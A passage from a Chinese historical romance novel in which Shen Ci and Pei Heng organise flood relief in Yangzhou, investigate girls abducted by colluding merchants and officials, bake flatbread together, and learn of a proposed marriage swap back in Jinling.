沈瓷有些想拒绝,可裴珩却没给她这个机会,在她说话之前就想好了措辞,“明日还要施粥,若双手乏力也会耽误事。” “何况,百姓们还在等着。” 沈瓷没在推辞将手中的铜勺递了过去,裴珩其实也没干过这些事,做起来也很困难,只是他到底是男子,力气比沈瓷大一点。 事情还算顺利。 一锅粥很快就见底。 但是长长的队伍根本看不到头,原本他们是熬好了从客栈运过来,但这实在是太过浪费时间,沈瓷请了几个大娘过来帮忙熬粥。 只饱腹用,也不需要多好的味道。 何况白粥的味道本就不差。 “倒是个好法子。”裴珩忍不住的夸赞,同时也很好奇沈瓷是怎么想到这些的,自家的弟妹他了解,各个都是十指不沾阳春水的,哪里能想得到这些? 最多能想着请厨子够来。 “你是怎么想到的?” “是从前爹爹告诉我的。”沈瓷那时候年纪小,但沈毅从来都不会觉得她年纪小,想到什么都会告诉他,来扬州的时候就会说起水患和天灾。 在平江的时候就会和她说起海盗。 沈 瓷被迫听了许许多多,她本以为自己会记不住,没想到这么多年过去,这些记忆一直都存在,“爹爹说,许多大娘的厨艺不比酒楼大厨逊色,只是没有机会而已,能为家乡百姓做些事,她们会很高兴的。” “何况这也不是我想到的,都是爹爹曾经用过的法子。” 沈瓷并没有居功,原原本本的告诉裴珩父亲先前做了什么,她说的有些琐碎,但裴珩大致听明白了,有一些可以借鉴,有一些也给了裴珩不少灵感,“多谢。” 裴珩真心实意的道谢,沈瓷原本也不需要说这些,但她还是选择开口。 “你方才说有事要同我说?” “对。”沈瓷抿着唇神情有一些纠结,“这事儿…我也不知是不是不正常,但我托表姐她们也留心过,情况都是一样的。” “我发现这些来领粥的百姓里,没有女孩子。”沈瓷原本只觉得有些奇怪,但其实并没有太放在心上,有许多百姓都是重男轻女的。 但是一个都看不到就很奇怪,她便留了心,“表姐和表哥那边也是一样的,还有不少人说他们的孩子丢了。” 沈瓷说了许多话,又担心是自己说不清楚,仔仔细细的补充道,“也不能说一个都没有,也有不少三四岁的女童,就是没有更大一些的。” 沈瓷想到了一些事,脸色有些不太好,“总觉得不像是拐子。” 哪有拐子放着男孩不拐,要去拐女孩子的? 拐女孩子的大多是青楼妓馆,扬州这儿还多一处,实在让人不得不多想,“会不会是…” “嘘——”裴珩示意她不要说话,“这件事,我会留意。” “你方才说还有不少百姓说孩子不见了?那些百姓在何处?” 沈瓷便带着裴珩去见了那些苦主,裴珩并不知道这些事,仔细询问过后才知他们去报过案,却没人受理。 “孩子不知是不是被拐子给拐走了,我们找了许多地方都没有找着人。” 雨下的那么大,饥寒交迫,还要承受孩子丢失的压力,这些百姓有多难可想而知。 本以为没有人会听见,也没有人会看见,如今竟有官老爷主动问询,这些个苦主自是将什么都和盘托出。 但凡是一点点可疑的地方,全部都被他们说了出来,而后都殷切的看着裴珩。 就连沈瓷也是如此。 “这件事我会派人去调查清楚,乡亲们自己多多保重,便是要找孩子也得先顾好自己,若自己都倒下了,谁还能去找孩子?”裴珩的声音不算大,却铿锵有力。 周围百姓全部都听见了,三三两两的劝说着。 也不知是不是因为说话的人是裴珩,百姓们都很听劝,简直事半功倍。 人群渐渐散去,裴珩告诉沈瓷这件事他会派人调查,他也不能在此久留,“我再去别处看一看,你自己多加小心。” 沈瓷轻轻点头,“…你也是。” 她看着裴珩,咬着唇瓣补充了一句,“多加小心。” 第66章 第66章这烙饼,真的有那么好吃…… 裴珩来去匆匆,沈瓷将心中疑惑尽数说清楚之后整个人也轻松了不少,大娘又熬好了一锅粥,这一回不用沈瓷上手,守在她身边的侍卫就自告奋勇的要代劳。 “沈姑娘,您先歇一歇,我们来就好。” “是啊沈姑娘,看了这么些天,我们也都会了。” 侍卫们也没等沈瓷说话,就将铜勺接过去,沈瓷倒是没有想过要他们代劳,若她说一声,也不是没人去做。 只是她的行为,好似受到了父亲的影响,凡事都喜欢亲力亲为。 沈瓷不由的想起了沈毅来,有的时候,当真觉得很神奇,从前许多人都说她不像爹爹,更像母亲。 就连父母也是那么说的,但没有想到很多事情都受到了父亲的影响。 沈瓷看着三三两两牵手走在一起的一家三口,看着长长的队伍,看着那刚出锅的热粥,后知后觉的发现,她这些日子想起父母的时候多了许多。 她,很想他们。 想的心里愈发的难受起来。 裴珩依次去四个城门处转了转,因为沈瓷的提醒,裴珩便下意识的关注着,果然发现了不少的的问题。 裴珩问了几人情况,发现均是如此,眉头皱的更深。 “表哥,可是有什么不对的地方吗?”楚景澄小心翼翼的问道,也不知是不是他的错觉,总觉得这话问出来之后,表哥很嫌弃他。 “无事。”裴珩淡淡回应,随后嘱咐道,“修筠和季衍不在,你身为哥哥要好好的护着几个妹妹们。” 楚景澄立刻答应。 可就算他这么说了,表哥的脸色还是没有变好。 裴珩没有回去府衙,转而去了城外,那儿有个临时落脚的地方,他过来的时候楚修筠和季衍两个刚刚回来。 裴珩告诉了他们俩城里的事情,也说了沈瓷的猜测。 二人听罢之后脸色都不怎么好,没有往这方面去想倒也罢了,若往这方面去想… 就能发现处处都是漏洞。 但他们两个没想到裴珩要说的远远不止这些,他将县志整理出来摊在二人的面前,两人一目十行的看过去,也发现了端倪。 “想做什么?” “自然是完成托付。” 裴珩神色淡淡,他将县志里找到的所有证据一一罗列,同样也说起自己的打算。 楚修筠尚且好一些,季衍这脸色早已经难看的不行,“这事儿若做了,恐怕会有危险。” “总不能什么都不做。”裴珩语气冷淡,并不太在意会带来什么后果,“百姓从来都没有做错什么。” 他们不应该遭受这样的灾难。 季衍也没犹豫多久,干脆利落的把自己给绑上贼船,“要我做些什么?” “盯着些知府。” 扬州知府对他的态度很是微妙,何况那扬州瘦马也让他很在意,“扬州那些富商这般放肆,未必没有这位知府的功劳。” “官商勾结?” “只是猜测。” “要不先将人抓起来?”季衍试探开口,甚至都有些跃跃欲试。 惹得裴珩多看他一眼,这人也不是不能抓,只是他先前怎么没发现季衍这么莽,“尚未确认。” 季衍这会儿听懂了,人还是可以抓的,只要确认了这知府不是个好东西就成,“成,这件事就包在我身上。” “有没有给金陵送信?” 裴珩浅浅点头,“已经修书告知家父。” “那顺便同我岳父也提个醒。”季衍摸了摸自己的下巴,走到书桌前面打算当个孝子。 “出来这么久,我还没给父亲写过家书。” 季衍说的煞有介事,但通篇家书写的都是让季老将军帮忙,半点都不知迂回。 楚修筠站在一旁没说话,他虽然还在书院念书,可到底不是个傻子,表哥和妹夫说的话,他也还是能够听明白的。 此番眼中也是忧虑,只是上贼船的时候,谁也没胆怯就是了。 “表哥,可需要我做什么?” “去看看扬州城有没有能工巧匠,城里的排水沟渠也是个大问题。”裴珩不用仔细核算就知道那是一笔不小的数目,他自然没有那么多的银子。 但扬州有那么多的商会,还愁没有银子吗? 这天下午雨小了许多,裴珩便带人去勘察了河道,和他设想的没有什么差别,扬州的情况全部通过书信传回金陵,永宁侯收到书信的时候,只觉得头疼不已。 可那是自己的亲儿子,他还能如何? 只能想法子帮忙。 民间也不是没有能工巧匠,但裴珩没有时间慢慢的挖掘,便直接让父亲想法子,永宁侯回到家中之后,忍不住的和夫人抱怨,“从前怎么没觉得他这么需要我?” 永宁侯夫人忍不住的笑,“许是发现找父亲帮忙更加省力。” 裴珩从没觉得找上永宁侯是什么丢人的事情,事儿能顺利解决就好。 何况他要做的事情,也没有那么简单。 因为裴珩在扬州的关系,扬州的水灾并没能瞒住,很快就上达天听,里头弯弯绕绕何其多,不少官员都心中有数。 户部拨款,工部的官员随行,现在要确定的就是赈灾人选。 那日上朝,季老将军也来了,说自家儿子和儿媳妇也困在扬州,他担心极了。 这话一说,楚恒也忍不住,说自家女儿和女婿才刚刚新婚,他也担心,最后还是一家五个孩子都在扬州的楚恒胜出,得了这趟差事。 消息传回扬州时,裴珩已经确定好了治理水患的方案。 将河道拓宽疏通,地势低洼处填高。 虽然要花费不少的时间,可若是成功,那便是一劳永逸。 城中的排水沟渠也要重新设计建造,扬州城当然也不乏能工巧匠,只是先前没有机会施展才华,如今机会摆在面前,当然是紧紧抓住。 一众人忙的脚不沾地,回到客栈之后倒头就睡,已经许 久没有好好的说过话。 大雨连续下了半个月,虽渐渐停歇,可淹没的村庄也是不计其数。 城内城外全是无家可归的百姓。 朝廷的钱粮尚未到,扬州的富商早已经坐地起价,但他们刚开始有所行动,裴珩亲自去商会和他们讲道理,能听得进去的倒也罢了,听不进去的也没惯着,直接按照律法将人关进去大牢。 此举在扬州引起轩然大波,扬州知府急得宛如热锅上的蚂蚁,“裴大人,这事儿可不能这么做,这,这不成啊。” “我不过是照着律法办事,为何不成?” 扬州知府想说点什么,又有些忌惮。 裴珩此举不知得罪了多少人,扬州知府成日里心慌意乱的,终是按耐不住找了个机会去见了商会会长。 殊不知那商会会长也着急要见知府一面。 “那新来的究竟是什么来头?” “金陵过来的,不是什么善茬。”扬州知府成日里和裴珩打交道,对他到底了解一些,“手段强硬,也没什么忌惮的事。” “身份更是尊贵。”扬州知府已经知晓了裴珩的身份,如今也不敢轻举妄动。 何况赈灾的旨意都已经下来,这次的钦差跟裴珩也是沾亲带故的,他又能做什么? 这可不是从前什么没身份没背景可以随意处置的寒门学子,“还是不要轻举妄动。” “他最近在调查那些失踪的女童,你好歹也收敛一些。” “这也不成那也不成,你知不知道他给我们带来了多少损失?” “那不然怎么办?”扬州知府端着一副死猪不怕开水烫的模样,“你若是有什么好法子,倒不如说出来听听。” “你!” 对面那人被气得不行,偏偏他们之间有诸多利益纠葛,也并不能撕破脸皮。 这些事情全被盯着知府的季衍看的清清楚楚,他没有继续盯着知府,反倒是在富商离开的时候跟在了他的后头。 但让季衍没想到的是这富商的身边还有不少身手了得的打手保护着。 他想要接近也很不容易。 一直都不曾如愿,季衍也没有莽撞冲动,一直盯着那富商,伺机而动。 * 所有事情都有条不紊的进行着,人人都很忙碌,裴珩和楚修筠归来时,只见沈瓷几人都聚在楚景澄的房中算账,研墨的,打算盘的,记账的,分工很是明确。 “可是核算好了?”楚修筠轻声问道。 楚映梦在记账,闻言摇了摇头,“先前没想着这些,如今再要回忆着实有些艰难。” 沈瓷拨弄着算盘写写画画,闻言答道,“能算出一个大概来,但不太准,还要重新核算。” “大致算一算就成,在过几日姑父就会到,届时交给他来处理。”裴珩干脆利落的决定好后续事宜,让他们几个不要太累。 顺势和她们商量起回金陵的事宜。 “姑父不会在扬州久留,等到这一次的灾情稍稍控制之后就会回金陵,你们就和姑父一起回去。”裴珩并不在意自己是不是身处险境,却很担心将弟弟妹妹们牵连其中。 但此事没有一个人同意。 纷纷摇头说不回去。 “我们回去也没什么事,我们要待在这里。”楚映梦率先开口,其余几人纷纷响应,“我们也不是全然没用的吧,好歹也能帮上忙,表哥莫不是嫌弃我们?” “自然不是。”裴珩当然知晓她们几个都做了什么,思怡和裴姝虽年小,同样担得起吃苦耐劳几个字。 “只是担心你们会有危险。” “毕竟之后的事情说不太好。” “先前的失踪女童,有眉目了吗?”沈瓷闻言飞快的抬起头来,认真的看向裴珩。 后者轻轻点头,没有隐瞒,“有些眉目。” 季衍已经顺利的找到和知府勾结的富商,只不过那富商很是谨慎,他们还没有找到那些被关押的姑娘,多少有些被动。 沈瓷几人听闻,多少有些担心,楚映梦走过去点了点她们的脑袋,“一个个愁眉苦脸的干什么?你们要相信姐夫。” 原本郁闷的气氛一扫而空,楚思怡看着姐姐嘟嘟囔囔的开口,“是是是,我们要相信姐夫。” 好好的话才楚思怡的嘴里说出来,也不知为何总有些怪怪的,“又没说不信。” 楚映梦看着楚思怡那搞怪的模样,忍不住的失笑。 虽说相信季衍,但这些事情到底危险,楚映梦不由的多问了几句,再得知具体情况之后才缓缓的松了一口气。 裴珩既说那账本只需要一个大概数目,沈瓷便将核算好的交予他,裴珩粗粗的翻了翻,微微颔首,“这般便可。” 众人闻言总算是松了一口气,都懒洋洋的趴在了桌子上,显然也被折磨的够呛。 倒是楚景澄又眼巴巴的看着沈瓷,“阿瓷,我肚子饿了。” 沈瓷单手撑着下巴,也没仔细去想,下意识的答道:“那让小二准备些夜宵。” 楚景澄:“……” 他哀怨的看了她一眼又一眼,最后忍不住的明示:“我饿了,想吃烙饼。” 沈瓷的脸色怪怪的,忍不住问道,“表哥觉得好吃?” 沈瓷倒不是不愿意做,只是一直都觉得自己于厨艺上没什么天赋,上回做烙饼也是为了和二表哥道歉,此番听二表哥惦记,多少有些意外。 “好吃。”楚景澄很实诚,“我们都觉得好吃。” 沈瓷有些不信,朝着众人看去,她实现落于谁身上,后者毫不犹豫的点头。 最后落到了裴珩的身上,她下意识的想转开,但裴珩也开了口,“好吃。” 沈瓷:“……” 她这会儿都要怀疑,他们几个是不是故意哄自己的? “…那,你们谁来帮我?”她一个人可办不成。 沈瓷原本想着谁都可以,但没想到他们几个不约而同的指着裴珩。 楚映梦摁着额头,说自己头疼,楚思怡靠在裴姝身上,说累。 裴姝更是累的不想说话。 楚景澄是最先响应的那个,甚至还跑到沈瓷身边说起了悄悄话,“阿瓷,你记得给我报仇,可劲儿使唤他。” 于是,在众人齐心协力之下,沈瓷就眼睁睁的看着裴珩和她一块儿去了厨房,当着她的面挽起了袖子准备和面。 沈瓷:“……” 这烙饼,真的有那么好吃吗? 第67章 第67章不过是想单独相处 沈瓷看着裴珩那认真的模样,恍惚间都开始思索自己做的这烙饼是不是真的那么好吃。 若不然,怎么会有这样的效果? 裴珩全然不知面前的姑娘这会子想到了些什么,只是问她需要做什么。 他大概知道要先和面,却不清楚这个面到底要怎么和,裴珩兴致满满。 沈瓷却很不放心,“要不还是,我来吧?” 她想起曾经爹爹也那么自告奋勇,结果她 和娘亲一块儿饿了两个时辰,差点儿没饿死。 “我想试试。”裴珩看着那面粉提出自己的要求,沈瓷欲言又止,最终还是妥协,站在一旁指点着, “加水。” 沈瓷抿着唇,看着裴珩往面粉里倒了不少的水,他很冷静,手也很稳,一点一点的加水,缓慢的用筷子搅拌着。 并没有沈瓷以为的情况出现。 有些人仿佛天生优秀,就连从未做过的事也难不倒他,裴珩虽然动作生疏,但不可否认他当真成功的活了面。 “然后呢?” “再加一些水…” 一个说着,一个做着,虽然有一些慢,可好歹还算成功。 “是不是要烧火?”裴珩又开了口,这是一项技术活,沈瓷不会,上一回还是请了客栈的伙计帮忙。 沈瓷原本也想故技重施,但裴珩显然是不情愿的,自告奋勇道:“我想试试。” 沈瓷:“…其实也没有什么好试的。” 为何非要试试? “应当不难。”裴珩对自己很有信心,沈瓷只能眼睁睁的看着他点火,火折子吹了又吹,柴引子点了一根又一根。 沈瓷很想找人来帮忙,但裴珩说什么都不让。 “成功了。”裴珩试了许多种法子,也成功学会如何使用烧火棍,沈瓷看着他那平静的面容,心中好生佩服。 “裴世子…耐心十足。”她斟酌着夸奖了一句,裴珩挑眉,他总觉得沈瓷是想不到说什么,才顺势夸他。 可无论是不是虚情假意,于他而言都是值得高兴的事,“好说。” 热锅下油,那早已准备好的面糊糊摊下,很快就冒出了丝丝热气,裴珩显然对这烧火有了别样情愫。 即便沈瓷什么都没说,他还时不时的问几句,“火候可还合适?” “嗯…”沈瓷低低应声,没有糊锅总是合适的。 “可还要添些柴火?” “…适量。” 她缓缓说出这两个字,小脸绷的紧紧的。 裴珩看着沈瓷那模样,忍不住的笑了起来,“适量?” “嗯…”沈瓷哪里知道这柴火要多少合适?“就是,你觉得多少合适,就放多少。” 总之,锅里看着,不糊就是成功的。 裴珩其实也不清楚,但他好歹有个聪明的脑子,总能将事情圆满的解决。 第一张烙饼出锅的时候,沈瓷递给了裴珩。 裴世子有些意外:“怕我饿着?” 沈瓷递过去的时候太自然,她方才满脑子想的都是火候和食物,早已经忘记陪她一块儿在厨房的人是谁。 从前母亲下厨的时候就会带着她一起,刚出锅的菜,也会让她先试一试。 “不是…”沈瓷想撒谎,但是又觉得顺着裴珩的话往下说并不太好,她深深的看了裴珩一眼,认真道,“是让你试试,味道怎么样。” 裴珩虽然有些不太能理解,倒也没有反驳,只是他很真心实意的想着要怎么委婉的告诉沈瓷,他不太习惯在厨房吃东西。 裴世子这辈子除了孩提时候,从未进过厨房,更别提在厨房里不甚优雅的试吃。 热腾腾刚出锅的食物,自然比冰冷的饼味道更好些。 只是他不想让沈瓷尴尬,一边吃着,一边想着要怎么夸赞,竟不知不觉吃了小半个,沈瓷就这么眼睁睁的看着,忍不住的看向他,“好吃吗?” “嗯,好吃。”裴珩说的不是假话,他是当真觉得味道不错,原本想了许久的夸赞之语也没了下文,说出口的都是最朴实无华的,“味道很好。” 沈瓷这心总算是安了一些,有了经验之后,在控制火候就容易许多,裴珩见她放松了一些,就和她说起了不少的事情。 多是一些沈瓷关心的事,“那些失踪的女孩子,大概是在商会大商人的手上,暂时没有危险。” 他们抓走那些女孩子主要是为了培养扬州瘦马,尚未养成之前,不会让她们出什么意外。 “至少在这个时候,总能给她们一口吃的。”裴珩耐心的安慰着沈瓷。 而沈瓷的心也渐渐安定下来,她想了许多,若非此番来扬州的人是他们,只怕这些女孩子就真的羊入虎口。 “嗯…” 许多语言总是苍白,裴珩更习惯将事情办好,沈瓷只是单纯的不知道说什么合适。 但裴珩因为这久违的独处有些意动,根本不愿沉默,“也不知中秋佳节时,扬州能否恢复往昔。” 他随意的找了一个话题,而沈瓷却顺着这个话题很仔细的去想了想,如今炎炎夏日,却因为接连的暴雨而感觉到了冷,好在暴雨已经渐渐的停歇。 “扬州城的内涝…”沈瓷想起了那日一时不慎踩到水坑里的模样,积水没过绣鞋,冰冷又黏腻,上头沾染了不少的泥沙,让人心生不适。 虽然已经过去许久,即便此番想起,她还是觉得有些难受。 在裴珩的解释下才知道排水的沟渠年久失修,没有好好的维护,且沟渠也有不合理甚至被人为破坏的地方。 沈瓷不知这些内情,此番听见后只觉得荒唐,“扬州的知府,就这般不作为吗?” 且这沟渠还遭到了人为的破坏? “是百姓不知情,还是地方乡绅所为?”沈瓷问的小心,也担心自己会不会问的太过。 裴珩倒是半点不介意她的问询,耐心十足的解释着,“不好界定,痕迹都时旧的,大抵是没有好好的维护。” 毕竟扬州知府一心全部都钻在了钱眼里,如何还能想到造福百姓? “已寻得能工巧匠绘制工图,会将扬州的排水沟渠重新规划设计,虽说一开始会艰难些,费时费力,倘若建成,往后几十年都不会再有内涝。”裴珩和沈瓷说起那工匠画的图纸,因为这里没有纸笔,只有烙饼到一半的面糊糊。 裴珩也不挑剔,拿起筷子在面糊糊上头大致的画了画。 设想和规划,通通毫无保留的告诉了沈瓷。 扬州城那么大,城内城外都是耗时耗力的工程,并没有裴珩说的那么轻松。 “也许需要很久。” 裴珩看着沈瓷轻声道,“长则六七年,短则三四年。” 但无论需要多久,裴珩都不可能对那些受苦的百姓置之不理。 之后,他会留在扬州一段时日,他虽私心里希望沈瓷留在扬州,却也知道此地不太平,不愿她犯险。 “这不是容易的事情。” 沈瓷不知道内里的弯弯绕绕,也不知道裴珩面临多大的压力,只是从他叙述的话语中推测出一二来。 “从来也没什么是容易的。”裴珩原本想的是高升,可如今瞧见扬州百姓,他想做一些更有意义的事。 这话沈瓷没法反驳。 “许久不见,沈姑娘今日可有考虑好吗?”裴珩冷不丁的问了一句,沈瓷抬起头看他。 她还以为过了那么久,裴珩已经忘记了这件事,怎么又提及了? 沈瓷想问考虑什么,但这话说出来未免有一些太做作,她明知道裴珩问的是什么,只是刻意的忽略,刻意的不去思考,刻意的当做不知。 偏偏裴珩不给她这个机会,“我不愿逼迫你,只是想告诉你,若有什么难事,都可以来找我。” 希望不会让他等太久。 希望留在金陵的人,也不会让他失望。 她尚在犹豫要说些什么,厨房外头就传来了楚景澄哀怨的声音,“阿瓷…我饿了。” 沈瓷这才回过神来,低头看向面糊糊和已经渐渐冷掉的灶台。 又看向倚着门框,瞧着像是饿了好久的二表哥:“……” 她忽然有一点心虚。 楚景澄也看到了冷锅冷灶,又看向了唯二的两张烙饼,视线沉默的在裴珩和沈瓷之间打转。 沈瓷心里咯噔一下,下意识要开口解释,“其实是…” 谁知楚景澄竟向着裴珩发难,“表哥你想饿死我?” 裴珩当真不想承认眼前的人是自己表弟,“你来做什么?” “这不是见你们久久未归,有些担心所以过来看看。”楚景澄有些气弱,裴珩对他的话嗤之以鼻。 担心? 这话他可是半点都不信。 裴珩自知方才耽误了太久时间,此番收敛了心神,冷声道,“烧火去。” 楚景澄想说自己不会,但看见自家表哥手腕上黑色的炭痕,不会这两个字就有些说不出口。 只能乖乖的研究起来。 沈瓷心虚不已,收敛起那些乱七八糟的心神, 开始飞快的烙饼,同时为了堵住二表哥的嘴,塞了一张烙饼给他。 拿到第一张的时候,楚景澄还是挺高兴的。 也不管是不是在厨房,反正是表哥和表妹在,他也不用顾忌自己的形象,可一连吃了两张,在沈瓷要塞过来第三张的时候,楚景澄试图拒绝:“阿瓷…我也没这么饿。” 不用给他这么多。 “不好吃吗?”裴珩的声音有些冷淡。 楚景澄下意识的咽了咽口水,好吃当然是好吃的,不然他也不至于一直惦记着,但好吃也架不住一刻不停的吃。 尤其是表哥和表妹两个一人烙饼一人糊面,只有他一个人不停的吃着,多少有一些过意不去。 “面糊没有了。”裴珩只说了一句,便没有搭理楚景澄,沈瓷看向盘子里的烙饼满意的点了点头。 “那我们快些去找表姐她们。” 裴珩将盛放面糊的盆放在一边,找了块帕子擦了擦手便和沈瓷一道往外走。 看的楚景澄目瞪口呆,“你俩等等我啊——” 这灶膛的火要怎么办? 要怎么灭? 第68章 第68章既然都是成亲,想要个听话乖…… 楚景澄冲出去的时候,裴姝和楚映梦都不约而同的去拦着人,殊不知这举动在彼此的眼中显得非常可疑。 裴姝和楚映梦都很尴尬。 一时间沉默无言,想要说点什么,但又害怕多说多错,忙忙碌碌的看向一旁。 又忍不住的偷偷看向彼此,正正巧的,眼神撞在了一块儿。 楚映梦:“……” 裴姝:“……” 这都是些什么事? “其实…” “映梦表姐…” 二人又不约而同的开口,随后又道:“你先说。” “你先说。” 楚映梦和裴姝这会儿,已经是破绽百出,互相憋着一口气,不知在想什么,裴姝强迫自己冷静下来,思索着映梦表姐究竟知道了些什么,哥哥毫无破绽,若非自己和他同住屋檐下,估计也不会发现的。 那映梦表姐这般模样是因为什么? 裴姝偷偷的凑过去看了一眼,紧接着忍不住又看了一眼,看的楚映梦无奈的揉额头,“姝儿你想问什么,直接问吧。” 话虽如此,但裴姝还是不敢直接问,只是偷偷的看了楚思怡一眼,但楚思怡这会儿累得不行,趴在软榻之上睡的香甜,压根没听见她们俩在做什么。 裴姝小心翼翼的挪到楚映梦的身边,“就是…就是…” 楚映梦的心里也毛毛躁躁的,但她没多话,只是期待的看着裴姝,“怎么了?” “表姐刚才,作什么要拦着景澄表哥呀?”裴姝想了想,选了个最不容易出错的问题问。 楚映梦不知裴珩的心思,但是她知道自己的心思,如今看着裴姝开始以己度人,自以为猜到了她的心思。 楚映梦久久没有回答,久到裴姝也有些忍不住,他咬咬牙道:“我想沈姐姐当我的嫂嫂。” 楚映梦睁大了眼睛,心说自己果然猜得没错。 * 金陵忠毅伯府。 自从楚秋灵定下婚约之后,倒是稍稍的消停了一段时间,纵然她刁蛮任性,也有少女心事,自然也会期待自己的丈夫。 两家门当户,早早的交换了名贴,本以为只要静待婚期到来,可没想到楚秋灵出了一趟门,先是和未来小姑子结了怨,去宴会时又不经意得罪了未来婆母。 偏偏楚秋灵自己根本不知道。 承宁伯夫人心中有些隔应,但这亲事是丈夫首肯,儿子也同意的,她想了想倒也没发作,就是心中甚是疑惑,明明先前差人打听的时候都是好好的,怎么这姑娘竟是这般性子? 身边嬷嬷见承宁伯夫人头疼,开口劝了几句,“楚大姑娘许是性子率真了些,世家贵女哪有真正不懂事的?要紧的是世子不反对。” 谁都知道承宁伯世子这些年到底拒绝了多少姑娘,好不容易才松了口。 基于种种考虑,承宁伯夫人倒也没有多说什么,可拗不过心里头的隔应,便派了人再去仔仔细细的打听,没曾想这一回打听出不少的事情。 就连一些忠毅伯府的辛密也打听出来,承宁伯夫人这才知道楚秋灵是一个怎样的人。 刁蛮任性,愚蠢自大,甚至先前还诬陷姊妹,这样的人如何好进门的? 承宁伯夫人气势汹汹的去找丈夫理论,承宁伯也甚是无奈,他之所以应允婚约,当然是因为楚胜许多了不少好处,还同永宁候府沾亲带故的。 他这才动了心。 只是如今这名贴都已经换过,要这个时候退亲,哪里那么容易? 忠毅伯府又不是什么没名没姓的人家。 “这也不成,那也不成的,究竟要怎么好?”承宁伯夫人气恼不已,在心中将楚秋灵骂个半死,承宁伯也没落得好,同样被妻子骂了许久,这会儿什么话都不敢说。 “那夫人,你说怎么办才好?”承宁伯有些头疼。 而承宁伯夫人等的也就是这句话,“要么退亲,要么换人。” 承宁伯有些愣神,“什么?” 他怎么觉得自己听不懂夫人说什么。 “楚家大姑娘这样的性子,我是万万不能让她进门的,省的到时候闹得家无宁日,若是不能退亲,就换个新妇。”承宁伯夫人心中有气,如今对谁都没有好脸色。 承宁伯顺着妻子的话想了想,只觉得有些荒唐,“这?换亲?” 是怎么样一个换法? “不然就退亲。” “退亲怎么成?” 这好处都已经到了口袋里,要他拿出去?他可不愿意。 照着承宁伯来说,不就是一个女人?儿子难不成还应付不了?就算应付不来,不还有妻子在? 新妇到婆婆跟前,能摆什么款? 承宁伯夫人眼神凌厉的说要换亲,承宁伯还真的去仔细的想了想,可楚家老大不就一个闺女? 楚恒倒是有两个女儿,但一个今年才成亲,是将军府的少夫人,还有一个还未及笄。 这换亲要怎么换? “楚恒不是有个外甥女?” 承宁伯夫人说的很明白,承宁伯从脑海里找了半晌,才知道妻子说的是谁。 “沈毅的女儿?” 承宁伯夫人微微颔首。 若非今日妻子提及,承宁伯已经快要记不起沈毅这个人。 “他的女儿…” 这若是从前,承宁伯自然乐意,可要是现在就不怎么乐意了。 承宁伯夫人未必多看得上沈瓷,但矮个里面拔高个,对于承宁伯夫人而言,总比楚秋灵要好。 要紧的是,她儿子对这沈瓷,还有些许印象,楚秋灵做的不少事情也悉数传到承宁伯世子耳中,他很是厌烦。 原本对娶谁都没有太大的意见,可若是明知对方不贤,还要将人娶进门,他也办不到。 承宁伯世子来寻母亲时,承宁伯夫人刚刚和心腹嬷嬷商议出这个法子,她未必同意这荒唐提议,但楚秋灵当真不是良配,若这回退亲,也许儿子又久久不肯成亲,故而她试探着同儿子提及。 谁知承宁伯世子倒是真的思考了一番。 显然知道母亲说的是谁。 “她很安静。” “那你这是答应了?”承宁伯夫人小心问道。 面前的男子微微颔首,没见反对,“…既然要娶,倒不如娶个听话乖顺的。” 那么安静,总不会刁蛮任性。 承宁伯夫人原先只是试探,没曾想儿子竟然知 道是谁,能从他嘴里听到这些话实属不易。 原本只有三四分的心思,这会儿已经有了七八分。 这才同丈夫提起。 “那,宁儿是怎么想的?”承宁伯问起儿子的心思,承宁伯夫人冲着他点了点头。 “宁儿说,那姑娘很安静。” 承宁伯思索了一番,心思也开始活泛起来,“既然宁儿有意,倒也是可以考虑考虑。” * 楚秋灵全然不知道未婚夫他们家打的什么主意,这会儿又在生气,因为楚映梦一行人带着沈瓷全部去了扬州,只留了她一个人在家中。 楚秋灵很是烦躁,她恨楚家所有人,连同亲哥哥也算在内。 因为没有别的事情可以做,成日去宴会上招猫逗狗的,得罪了不少人,她全然没觉得自己这行为有什么不对的。 楚大夫人倒是劝过几回,但楚秋灵一句娘也不疼我了,就将楚大夫人给劝了回去。 谁知道承宁伯夫人上门来,张口就要退亲,楚大夫人自然不愿,但承宁伯夫人也不是吃素的,两人撕扯的很难看。 裴氏乐的看戏,若非顾及两家脸面,甚至都懒得出来相劝,但下一刻裴氏就后悔了,承宁伯夫人竟说要换亲。 竟连人选都已经选好。 “我不同意。” “我也不同意。” 福寿堂中,裴氏和楚大夫人两个不约而同的开口,众人又是齐聚一堂,商议着要事。 承宁伯夫人以楚秋灵顽劣不堪,刁蛮任性为由,非要退亲,若是不愿伤及两家脸面,倒是可以换亲。 “明明是我们秋灵的亲事,换给沈瓷算什么意思?” “你当阿瓷稀罕?”裴氏冷笑连连,她可从未打算应允这桩婚事,承宁伯世子不是什么纨绔子弟,但这换亲算怎么回事? 除非他们堂堂正正的下聘,说要娶阿瓷为妻,不然她才不答应。 妯娌两个吵得天翻地覆,但是当楚大夫人离开,楚老夫人倒是和二儿媳说了心里话,承宁伯府若是真心诚意的结亲,这也的确是个不错的亲事。 “但…一切还要看阿瓷的意思。”裴氏的声音乱了一些,她何尝不知呢? 只是未免有些憋屈,回到住处之后,裴氏忍不住同身边嬷嬷腹诽,“若真成了,东苑那个,怕是成天眼睛不是眼睛,鼻子不是鼻子的。” “那又如何?若表小姐真成了承宁伯府的世子夫人,大夫人即便骂到天边去,也改变不了什么。日子是自己过得,照着表小姐那个性子,她嫁给谁都能好好的过。” 嬷嬷几句话,叫裴氏心里妥帖的很,她心中虽有意,可也要端着些,万不能让东苑那个捡些难听话说。 这件事到底让裴氏上心,家书直接送到了扬州,楚恒看到这家书的时候,心里也有些怪怪的。 他和妻子的想法一样,虽说知晓这亲事不错,但到底让人觉得拧巴。 裴氏说要问过沈瓷的意见,楚恒倒也没藏着掖着,直接将孩子喊到跟前来,说起了这件事。 沈瓷皱起眉头,有些迟疑道:“换亲?” “只是这么个说法,自然是要重新下聘礼,交换庚帖的。”楚恒将其中的区别都和沈瓷说清楚,沈瓷呆呆的有些愣神。 “倒也不用这时候就答复…”楚恒安慰了外甥女两句,又想起妻子的吩咐,临了加了一句,“阿瓷,你外祖母和舅母都觉得合适。” 沈瓷垂下眼眸,许久都没有说话。 楚恒看着她这般模样,心中有些不好受,轻声说道,“当然,舅舅希望你可以开心,若当真不喜欢承宁伯世子,也不用勉强自己,你外祖母和舅母那儿,舅舅会替你说明白。” 沈瓷没有抬头去看舅舅的眼神,她不知要如何面对,过了许久低低的应了一声,“是。” 她甚至都忘记自己是怎么回到住处的。 舅舅来到扬州之后,扬州的事情就有了很大的改善,工部的官员们开始着手测量沟渠与河道,原本就有进展的事情,更是顺利。 